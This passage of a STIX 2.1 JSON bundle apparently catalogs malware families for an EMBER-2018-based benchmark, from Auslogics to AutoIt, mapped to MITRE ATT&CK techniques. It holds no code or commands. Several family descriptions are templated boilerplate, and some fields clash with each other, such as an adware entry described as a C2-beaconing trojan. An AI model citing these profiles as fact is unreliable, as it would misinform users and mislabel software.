      "description": "Ausiv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fe340f6-7f77-56e4-8d48-0b01a952fd60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d8b3559-c39c-557f-b451-f94356a2f43b",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ausiv exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--21fc6ed6-06ea-51c3-a385-7360f71751cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Auslogics",
      "description": "Auslogics (cataloged across security vendors under designations including PUA:Win32/Auslogics, PUP.Optional.Auslogics, and Program:Win32/Auslogics) is a family of aggressive PC optimization utilities\u2014most notably Auslogics BoostSpeed, Registry Defrag, and Driver Updater\u2014active since 2014. Marketed as system performance enhancers, Auslogics applications employ deceptive scareware tactics and aggressive bundling practices. Upon installation, the software initiates automated diagnostic scans that deliberately exaggerate standard, harmless operating system artifacts (such as temporary cache files, obsolete file associations, and benign registry entries) as 'critical system errors' and 'severe security risks'. The software continuously displays intrusive pop-up banners and system tray warnings predicting imminent system crashes, while locking basic repair routines behind expensive premium license paywalls. Furthermore, third-party distribution packages often bundle unwanted browser toolbars and search hijackers, while aggressive registry deletions pose legitimate operating system stability risks. (Observed samples in benchmark: 133)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Auslogics",
        "PUP.Optional.Auslogics",
        "Program:Win32/Auslogics",
        "PUA:Win32/AuslogicsBoostSpeed",
        "PUP.Optional.AuslogicsBoostSpeed"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Auslogics",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/auslogics"
        }
      ],
      "labels": [
        "rogueware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--446effe0-b46e-51c2-a5d6-8cb5fa24cb92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21fc6ed6-06ea-51c3-a385-7360f71751cc",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Auslogics exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1491.001: Defacement: Internal Defacement",
      "description": "MITRE ATT&CK Technique T1491.001 (Defacement: Internal Defacement) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1491.001",
          "url": "https://attack.mitre.org/techniques/T1491/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be98ed86-24c2-513f-8312-d701254f724f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21fc6ed6-06ea-51c3-a385-7360f71751cc",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Auslogics exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e6a8cf7-39b9-532b-9493-3a288841648d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21fc6ed6-06ea-51c3-a385-7360f71751cc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Auslogics exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--851016e4-f645-593f-a3e6-e6b2417f8a79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21fc6ed6-06ea-51c3-a385-7360f71751cc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Auslogics exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe8b674b-202a-5ff4-9b91-442345bddcae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21fc6ed6-06ea-51c3-a385-7360f71751cc",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Auslogics exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--06e4ca8d-4a37-5ab2-a788-8622f7cfe647",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autit",
      "description": "Autit (classified in antivirus detection telemetry under designations including Trojan:Win32/Autit, Trojan.Win32.Autit, and Win32/Autit) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Autit executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Autit",
        "Trojan.Win32.Autit",
        "Win32/Autit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autit"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b655e48e-8da6-571d-991d-37d5f59eb4db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e4ca8d-4a37-5ab2-a788-8622f7cfe647",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autit exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (AutoIt Crypters))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d14eee5-1b5b-5f84-8e94-2119b0148352",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e4ca8d-4a37-5ab2-a788-8622f7cfe647",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autit exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05c33cde-e91a-552b-b5c4-83da861815af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e4ca8d-4a37-5ab2-a788-8622f7cfe647",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autit exhibits technique T1059 (Command and Scripting Interpreter (AutoIt Scripting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25ea70a0-7772-5fdf-b018-823ef533aa24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e4ca8d-4a37-5ab2-a788-8622f7cfe647",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autit exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c6c326b-7272-5894-b56c-a41b544bfc40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autocleanpro",
      "description": "Autocleanpro (classified in antivirus detection telemetry under designations including Trojan:Win32/Autocleanpro, Trojan.Win32.Autocleanpro, and Win32/Autocleanpro) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Autocleanpro executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Autocleanpro",
        "Trojan.Win32.Autocleanpro",
        "Win32/Autocleanpro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autocleanpro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autocleanpro"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7d1c2bc-62a1-5065-982c-9148bade075c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c6c326b-7272-5894-b56c-a41b544bfc40",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autocleanpro exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15880911-24aa-53dc-9e17-7b0422ece5c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c6c326b-7272-5894-b56c-a41b544bfc40",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autocleanpro exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae349b79-ccaa-5299-9782-8fb279c072ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c6c326b-7272-5894-b56c-a41b544bfc40",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autocleanpro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--18644834-a0b1-53da-bdd5-453788f10e27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autofixerpro",
      "description": "Autofixerpro (classified in antivirus detection telemetry under designations including Adware:Win32/Autofixerpro, Adware.Win32.Autofixerpro, and Win32/Autofixerpro) is a commercial adware and potentially unwanted application (PUA) bundled with third-party software installers to monetize search navigation and display intrusive advertising. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Autofixerpro executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include browser homepage modification, search provider hijacking, shortcut tampering, and background advertising service registration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Autofixerpro",
        "Adware.Win32.Autofixerpro",
        "Win32/Autofixerpro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autofixerpro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autofixerpro"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--047a3eb7-56cb-56b7-9e33-f0406ad65b84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18644834-a0b1-53da-bdd5-453788f10e27",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autofixerpro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager/AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adf66f11-7061-5692-a7b1-1318a6221412",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18644834-a0b1-53da-bdd5-453788f10e27",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autofixerpro exhibits technique T1498 (Network Denial of Service (Blocking access to security sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ec687eb-9932-50e7-ae9f-f9d64f09d145",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18644834-a0b1-53da-bdd5-453788f10e27",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autofixerpro exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c752a472-b033-5e35-a3f2-bd3e258cba67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18644834-a0b1-53da-bdd5-453788f10e27",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autofixerpro exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb182fe2-b00d-5971-9f06-660951af3ca0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autohit",
      "description": "Autohit (classified in antivirus detection telemetry under designations including Trojan:Win32/Autohit, Trojan.Win32.Autohit, and Win32/Autohit) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Autohit executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Autohit",
        "Trojan.Win32.Autohit",
        "Win32/Autohit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autohit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autohit"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a822c9d4-6ab5-5658-96cf-d88f67b8ea81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb182fe2-b00d-5971-9f06-660951af3ca0",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohit exhibits technique T1496 (Resource Hijacking (Consuming bandwidth for ad fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28f0f30f-79ae-5d0d-bf1c-42157998ca67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb182fe2-b00d-5971-9f06-660951af3ca0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohit exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Simulating web traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c61713ae-2c0e-5733-9621-a8baeabf3345",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb182fe2-b00d-5971-9f06-660951af3ca0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohit exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18825af5-98a3-5c56-ba1c-e7ce2bd7c540",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb182fe2-b00d-5971-9f06-660951af3ca0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohit exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autohk",
      "description": "The \"AutoHK\" malware family refers to a broad category of malicious programs that utilize AutoHotkey (AHK), a legitimate and open-source scripting language designed for keyboard shortcuts and Windows automation. Attackers frequently abuse AutoHotkey to create, bundle, and execute malicious scripts while attempting to evade detection by security software. By packaging malicious AHK scripts with the AutoHotkey interpreter into a single executable file, attackers can obfuscate their code and bypass simple signature-based antivirus detection. These scripts are often used for keylogging, taking screenshots, and data exfiltration. (Observed samples in benchmark: 120)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "AutoHotkey.Trojan",
        "Trojan.AutoHK",
        "Win32/AutoHK",
        "AHK.Stealer",
        "Malware.AutoHK"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autohk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autohk"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f27d8d1-0ebc-57af-9071-e538e3b20882",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohk exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf7a79fa-e8c9-559e-8eb3-3ca9cf5db08b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohk exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bae336d8-2676-558a-997b-66e5eceaebc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohk exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94781349-0a76-555e-b7a3-cfa9aacd4ff8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohk exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42a95012-96bd-5291-b9e7-ecaa75b425ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohk exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32f5f335-4c53-57e7-91d4-9e28c6557207",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohk exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9410475-4627-57d3-89f9-8d8bf9c765b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6882c34-c16d-5d71-a0d7-64ea8de1ee01",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autohk exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e365cb8e-947d-5eca-a68a-9d1453d4a959",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autoit",
      "description": "AutoIt (classified across commercial antivirus vendors as Trojan:Win32/AutoIt, Packer:Win32/AutoIt, and Backdoor.AutoIt) is a widely abused legitimate freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting tasks. Because AutoIt provides native capabilities to compile scripts into standalone portable executable (PE) binaries containing an embedded interpreter and compressed script resources, cybercriminal actors and malware authors extensively leverage it to package trojans, info-stealers (like Agent Tesla, FormBook, and Lokibot), and keyloggers. AutoIt compiled executables disguise underlying malicious shellcode inside heavily obfuscated, multi-thousand-line decoy script strings. Upon execution, the compiled AutoIt interpreter dynamically deobfuscates the embedded payload, decrypts binary arrays, and injects the unpacked payload into legitimate Windows host processes like RegSvcs.exe, MSBuild.exe, or svchost.exe using process hollowing techniques. (Observed samples in benchmark: 1,895)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/AutoIt",
        "Packer:Win32/AutoIt",
        "Backdoor.AutoIt",
        "Win32/AutoIt.Packer",
        "AutoIt3.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autoit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autoit"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9403cd16-9395-5a8a-87f6-aea44dcdb1bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e365cb8e-947d-5eca-a68a-9d1453d4a959",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoit exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1059.007: Command and Scripting Interpreter: JavaScript/JScript/AutoIt",
      "description": "MITRE ATT&CK Technique T1059.007 (Command and Scripting Interpreter: JavaScript/JScript/AutoIt) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1059.007",
          "url": "https://attack.mitre.org/techniques/T1059/007/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34561f51-3318-5147-b510-359c39f446d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e365cb8e-947d-5eca-a68a-9d1453d4a959",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoit exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript/JScript/AutoIt)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
